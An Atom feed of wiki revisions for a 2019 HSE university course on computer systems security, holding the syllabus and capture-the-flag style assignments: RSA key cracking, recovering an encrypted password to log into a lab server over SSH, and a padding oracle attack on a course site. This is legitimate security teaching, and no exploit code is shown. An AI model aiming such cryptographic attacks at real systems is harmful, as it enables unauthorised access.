<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://wiki.cs.hse.ru/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Gamajun</id>
	<title>Wiki - Факультет компьютерных наук - Вклад [ru]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.cs.hse.ru/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Gamajun"/>
	<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/%D0%A1%D0%BB%D1%83%D0%B6%D0%B5%D0%B1%D0%BD%D0%B0%D1%8F:%D0%92%D0%BA%D0%BB%D0%B0%D0%B4/Gamajun"/>
	<updated>2026-09-21T12:22:09Z</updated>
	<subtitle>Вклад</subtitle>
	<generator>MediaWiki 1.43.9</generator>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=37490</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=37490"/>
		<updated>2019-12-16T20:51:49Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]&lt;br /&gt;
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]&lt;br /&gt;
# (25.11) [https://drive.google.com/file/d/1kVM99uCDsTcgR_Zqs7UM6RwuyhdoQq8n/view?usp=sharing Механизмы безопасности приложений в операционных системах.]&lt;br /&gt;
# (02.12) [https://drive.google.com/file/d/1pE36xBXZC2v-UAfII9mO_9QDrOTdbUe5/view?usp=sharing Криптография. Введение и история. Хэши. Криптография с открытым ключом.]&lt;br /&gt;
# (09.12) [https://drive.google.com/file/d/1Lf1ECyqr4jslRik8vEtZEtHUxHxVQA2h/view?usp=sharing Криптография. Симметричные шифры. MAC.]&lt;br /&gt;
# (16.12) [https://drive.google.com/file/d/1K6YPa3wC3oYPKdV2__LzotFUxMQV1kR2/view?usp=sharing Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (02.11) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) [https://drive.google.com/file/d/1txGizt0urG38OimtNYAwhk1LJGVJitkR/view?usp=sharing Атаки на блочные шифры.]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_4&amp;diff=37474</id>
		<title>Безопасность компьютерных систем 2019/Задание 4</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_4&amp;diff=37474"/>
		<updated>2019-12-16T14:31:36Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задание на асимметричную криптографию ==&lt;br /&gt;
&lt;br /&gt;
Нужно выполнить оба задания по ссылке «[https://khashaev.ru/secsem/rsa/ Attacks on RSA]», каждое стоит по 0.5 баллов, суммарно можно получить 1 балл.&lt;br /&gt;
&lt;br /&gt;
=== Формат отчета ===&lt;br /&gt;
* Флаг.&lt;br /&gt;
* Скрипт для Python или Sage, взламывающий ключ.&lt;br /&gt;
* Текстовое описание того, как был взломана криптосистема.&lt;br /&gt;
* Описание недостатка, который позволил получить:&lt;br /&gt;
** для 1-го задания: зашифрованное сообщение.&lt;br /&gt;
** для 2-го задания: доступ к машине с флагом.&lt;br /&gt;
* Краткое описание того, как &#039;&#039;системно&#039;&#039; устранить недостаток криптосистемы.&lt;br /&gt;
&lt;br /&gt;
=== Сдача решения ===&lt;br /&gt;
Присылайте решения на почту [mailto:arthur@khashaev.ru?subject=%5Bcrypto@hsecurity%5D arthur@khashaev.ru] с темой «[crypto@hsecurity] Ф.И.О.».&lt;br /&gt;
&lt;br /&gt;
=== Срок сдачи ===&lt;br /&gt;
До 22 декабря 23:59:59.&lt;br /&gt;
&lt;br /&gt;
== Задание на симметричную криптографию ==&lt;br /&gt;
&lt;br /&gt;
=== Легенда ===&lt;br /&gt;
У вас есть дамп домашней папки пользователя hse_task_sc, где он хранил зашифрованный пароль своей учётной записи от машины 94.130.185.11 (порт 7777).&lt;br /&gt;
&lt;br /&gt;
* encrypt.py — шифрование данных&lt;br /&gt;
* decrypt.py — расшифрование данных&lt;br /&gt;
* encrypted_password.txt — файл с зашифрованным паролем&lt;br /&gt;
&lt;br /&gt;
Скачать дамп можно [https://drive.google.com/file/d/1cQo-biEZUExlktSYXd8Kw19gQcfLQ3vY/view?usp=sharing здесь ]. Команда для подключения выглядит так:&lt;br /&gt;
&lt;br /&gt;
 ssh hse_crypto_sc@91.214.71.18 -p7777&lt;br /&gt;
&lt;br /&gt;
=== Задача ===&lt;br /&gt;
&lt;br /&gt;
* Понять, как работает эта криптосистема.&lt;br /&gt;
* Понять, как будете атаковать: Known-Plaintext, Chosen Plaintext, Ciphertext Only, что-то другое?&lt;br /&gt;
* Узнать пароль пользователя без применения бандитского криптоанализа, социальной инженерии и помощи коллег.&lt;br /&gt;
&lt;br /&gt;
=== Формат решения ===&lt;br /&gt;
&lt;br /&gt;
Решение должно содержать следующий минимум:&lt;br /&gt;
* Программный код на языке Python (последние версии python2 и python3, а также совместимые с ними), взламывающий пароль. Другие языки обсуждаются.&lt;br /&gt;
* Текстовое описание того, как был взломан шифр.&lt;br /&gt;
* Какой недостаток в этой криптосистеме позволил вам дешифровать шифртекст.&lt;br /&gt;
* Флаг, как доказательство получения доступа по ssh.&lt;br /&gt;
&lt;br /&gt;
Если было обнаружено несколько способов взлома (их минимум 3 разной степени элегантности), то подобное описание стоит сделать для каждой атаки.&lt;br /&gt;
&lt;br /&gt;
=== Куда и как сдавать ===&lt;br /&gt;
Присылайте на почту okuneva-anna@mail.ru с темой &amp;lt;code&amp;gt;[crypto@hsecurity] Фамилия И.О.&amp;lt;/code&amp;gt;. На случай коллизии ФИО, напишите его полностью =)&lt;br /&gt;
&lt;br /&gt;
=== Оценивание ===&lt;br /&gt;
* Выполнение задания даёт 1 балл. Также возможно начисление дополнительных баллов за альтернативные способы решения.&lt;br /&gt;
* &#039;&#039;&#039;Решения, основанные на полном переборе, не принимаются&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Перебирать ssh-пароль бессмысленно&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Сроки ===&lt;br /&gt;
Задание принимается до 23:59, 22 декабря 2019 года.&lt;br /&gt;
&lt;br /&gt;
=== Примечание ===&lt;br /&gt;
Вопросы и баги можно писать на почту okuneva-anna@mail.ru , в чат курса в Telegram и в личку @dzenizdasy.&lt;br /&gt;
&lt;br /&gt;
== Задание на Padding oracle ==&lt;br /&gt;
&lt;br /&gt;
Нужно выполнить задание по ссылке https://task-json.sh.je/.&lt;br /&gt;
&lt;br /&gt;
=== Формат отчета ===&lt;br /&gt;
&lt;br /&gt;
* Флаг.&lt;br /&gt;
* Скрипт для Python (или любого другого языка), который получает флаг (взаимодействуя с сайтом). В нем не должно быть сложных констант --- т.е. не должны быть забиты конкретные пары зашифрованных/расшифрованных блоков, или другой информации, которую вы получили другим скриптом.&lt;br /&gt;
* Краткое текстовое описание того, как скрипт работает&lt;br /&gt;
&lt;br /&gt;
=== Сдача решения ===&lt;br /&gt;
&lt;br /&gt;
Присылайте решения в телеграм @neexemil (желательно) или на почту neex.emil@gmail.com (время ответа будет дольше). Указывайте ФИО.&lt;br /&gt;
&lt;br /&gt;
=== Срок сдачи ===&lt;br /&gt;
&lt;br /&gt;
Срок сдачи задания до 23:59 &#039;&#039;&#039;22 декабря 2019&#039;&#039;&#039; года.&lt;br /&gt;
&lt;br /&gt;
=== Оценивание ===&lt;br /&gt;
Задание весит 1 балл.&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_4&amp;diff=37473</id>
		<title>Безопасность компьютерных систем 2019/Задание 4</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_4&amp;diff=37473"/>
		<updated>2019-12-16T14:30:50Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задание на асимметричную криптографию ==&lt;br /&gt;
&lt;br /&gt;
Нужно выполнить оба задания по ссылке «[https://khashaev.ru/secsem/rsa/ Attacks on RSA]», каждое стоит по 0.5 баллов, суммарно можно получить 1 балл.&lt;br /&gt;
&lt;br /&gt;
=== Формат отчета ===&lt;br /&gt;
* Флаг.&lt;br /&gt;
* Скрипт для Python или Sage, взламывающий ключ.&lt;br /&gt;
* Текстовое описание того, как был взломана криптосистема.&lt;br /&gt;
* Описание недостатка, который позволил получить:&lt;br /&gt;
** для 1-го задания: зашифрованное сообщение.&lt;br /&gt;
** для 2-го задания: доступ к машине с флагом.&lt;br /&gt;
* Краткое описание того, как &#039;&#039;системно&#039;&#039; устранить недостаток криптосистемы.&lt;br /&gt;
&lt;br /&gt;
=== Сдача решения ===&lt;br /&gt;
Присылайте решения на почту [mailto:arthur@khashaev.ru?subject=%5Bcrypto@hsecurity%5D arthur@khashaev.ru] с темой «[crypto@hsecurity] Ф.И.О.».&lt;br /&gt;
&lt;br /&gt;
=== Срок сдачи ===&lt;br /&gt;
До 22 декабря 23:59:59.&lt;br /&gt;
&lt;br /&gt;
== Задание на симметричную криптографию ==&lt;br /&gt;
&lt;br /&gt;
=== Легенда ===&lt;br /&gt;
У вас есть дамп домашней папки пользователя hse_task_sc, где он хранил зашифрованный пароль своей учётной записи от машины 94.130.185.11 (порт 7777).&lt;br /&gt;
&lt;br /&gt;
* encrypt.py — шифрование данных&lt;br /&gt;
* decrypt.py — расшифрование данных&lt;br /&gt;
* encrypted_password.txt — файл с зашифрованным паролем&lt;br /&gt;
&lt;br /&gt;
Скачать дамп можно [https://drive.google.com/file/d/1cQo-biEZUExlktSYXd8Kw19gQcfLQ3vY/view?usp=sharing здесь ]. Команда для подключения выглядит так:&lt;br /&gt;
&lt;br /&gt;
 ssh hse_crypto_sc@91.214.71.18 -p7777&lt;br /&gt;
&lt;br /&gt;
=== Задача ===&lt;br /&gt;
&lt;br /&gt;
* Понять, как работает эта криптосистема.&lt;br /&gt;
* Понять, как будете атаковать: Known-Plaintext, Chosen Plaintext, Ciphertext Only, что-то другое?&lt;br /&gt;
* Узнать пароль пользователя без применения бандитского криптоанализа, социальной инженерии и помощи коллег.&lt;br /&gt;
&lt;br /&gt;
=== Формат решения ===&lt;br /&gt;
&lt;br /&gt;
Решение должно содержать следующий минимум:&lt;br /&gt;
* Программный код на языке Python (последние версии python2 и python3, а также совместимые с ними), взламывающий пароль. Другие языки обсуждаются.&lt;br /&gt;
* Текстовое описание того, как был взломан шифр.&lt;br /&gt;
* Какой недостаток в этой криптосистеме позволил вам дешифровать шифртекст.&lt;br /&gt;
* Флаг, как доказательство получения доступа по ssh.&lt;br /&gt;
&lt;br /&gt;
Если было обнаружено несколько способов взлома (их минимум 3 разной степени элегантности), то подобное описание стоит сделать для каждой атаки.&lt;br /&gt;
&lt;br /&gt;
=== Куда и как сдавать ===&lt;br /&gt;
Присылайте на почту okuneva-anna@mail.ru с темой &amp;lt;code&amp;gt;[crypto@hsecurity] Фамилия И.О.&amp;lt;/code&amp;gt;. На случай коллизии ФИО, напишите его полностью =)&lt;br /&gt;
&lt;br /&gt;
=== Оценивание ===&lt;br /&gt;
* Выполнение задания даёт 1 балл. Также возможно начисление дополнительных баллов за альтернативные способы решения.&lt;br /&gt;
* &#039;&#039;&#039;Решения, основанные на полном переборе, не принимаются&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Перебирать ssh-пароль бессмысленно&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Задание на Padding oracle ==&lt;br /&gt;
&lt;br /&gt;
Нужно выполнить задание по ссылке https://task-json.sh.je/.&lt;br /&gt;
&lt;br /&gt;
=== Формат отчета ===&lt;br /&gt;
&lt;br /&gt;
* Флаг.&lt;br /&gt;
* Скрипт для Python (или любого другого языка), который получает флаг (взаимодействуя с сайтом). В нем не должно быть сложных констант --- т.е. не должны быть забиты конкретные пары зашифрованных/расшифрованных блоков, или другой информации, которую вы получили другим скриптом.&lt;br /&gt;
* Краткое текстовое описание того, как скрипт работает&lt;br /&gt;
&lt;br /&gt;
=== Сдача решения ===&lt;br /&gt;
&lt;br /&gt;
Присылайте решения в телеграм @neexemil (желательно) или на почту neex.emil@gmail.com (время ответа будет дольше). Указывайте ФИО.&lt;br /&gt;
&lt;br /&gt;
=== Срок сдачи ===&lt;br /&gt;
&lt;br /&gt;
Срок сдачи задания до 23:59 &#039;&#039;&#039;22 декабря 2019&#039;&#039;&#039; года.&lt;br /&gt;
&lt;br /&gt;
=== Оценивание ===&lt;br /&gt;
Задание весит 1 балл.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Сроки ===&lt;br /&gt;
Задание принимается до 23:59, 22 декабря 2019 года.&lt;br /&gt;
&lt;br /&gt;
=== Примечание ===&lt;br /&gt;
Вопросы и баги можно писать на почту okuneva-anna@mail.ru , в чат курса в Telegram и в личку @dzenizdasy.&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/Padding&amp;diff=37472</id>
		<title>Безопасность компьютерных систем 2019/Padding</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/Padding&amp;diff=37472"/>
		<updated>2019-12-16T14:26:40Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: Новая страница: «== Атака Padding oracle ==  Презентация к семинару: https://drive.google.com/file/d/15PwO5O5WwdFey4n5SLhP9Hpr9EU8QOmr/view?usp=sharing  =…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Атака Padding oracle ==&lt;br /&gt;
&lt;br /&gt;
Презентация к семинару: https://drive.google.com/file/d/15PwO5O5WwdFey4n5SLhP9Hpr9EU8QOmr/view?usp=sharing&lt;br /&gt;
&lt;br /&gt;
== Задание на Padding oracle ==&lt;br /&gt;
&lt;br /&gt;
Нужно выполнить задание по ссылке https://task-json.sh.je/.&lt;br /&gt;
&lt;br /&gt;
=== Формат отчета ===&lt;br /&gt;
&lt;br /&gt;
* Флаг.&lt;br /&gt;
* Скрипт для Python (или любого другого языка), который получает флаг (взаимодействуя с сайтом). В нем не должно быть сложных констант --- т.е. не должны быть забиты конкретные пары зашифрованных/расшифрованных блоков, или другой информации, которую вы получили другим скриптом.&lt;br /&gt;
* Краткое текстовое описание того, как скрипт работает&lt;br /&gt;
&lt;br /&gt;
=== Сдача решения ===&lt;br /&gt;
&lt;br /&gt;
Присылайте решения в телеграм @neexemil (желательно) или на почту neex.emil@gmail.com (время ответа будет дольше). Указывайте ФИО.&lt;br /&gt;
&lt;br /&gt;
=== Срок сдачи ===&lt;br /&gt;
&lt;br /&gt;
Срок сдачи задания до 23:59 &#039;&#039;&#039;22 декабря 2019&#039;&#039;&#039; года.&lt;br /&gt;
&lt;br /&gt;
Задание весит 1 балл.&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/RSA&amp;diff=37471</id>
		<title>Безопасность компьютерных систем 2019/RSA</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/RSA&amp;diff=37471"/>
		<updated>2019-12-16T14:16:33Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Семинар по асимметричной криптографии на примере RSA ==&lt;br /&gt;
&lt;br /&gt;
ПО к семинару: вам понадобится пакет Sage любой стабильной версии, можно взять с официального сайта: http://www.sagemath.org/download.html или из стандартного пакета для вашей ОС.&lt;br /&gt;
&lt;br /&gt;
Например, для Debian Stretch годится пакет sagemath версии 7.4 (apt-get install sagemath).&lt;br /&gt;
&lt;br /&gt;
== Полезные ссылки ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.dlitz.net/software/pycrypto/api/2.6/Crypto.PublicKey.RSA-module.html Мануал по RSA в библиотеке PyCrypto]&lt;br /&gt;
* [https://gist.githubusercontent.com/Invizory/00070a06e4f6c48240d9b9b6bfe9c631/raw/519ffe5e47ab819a1922271f82bc7e95b661510c/bcast.py Задача с семинара на broadcast-атаку]&lt;br /&gt;
* [https://crypto.stanford.edu/~dabo/papers/RSA-survey.pdf 20 лет атак на RSA]&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=37458</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=37458"/>
		<updated>2019-12-15T14:47:41Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
&lt;br /&gt;
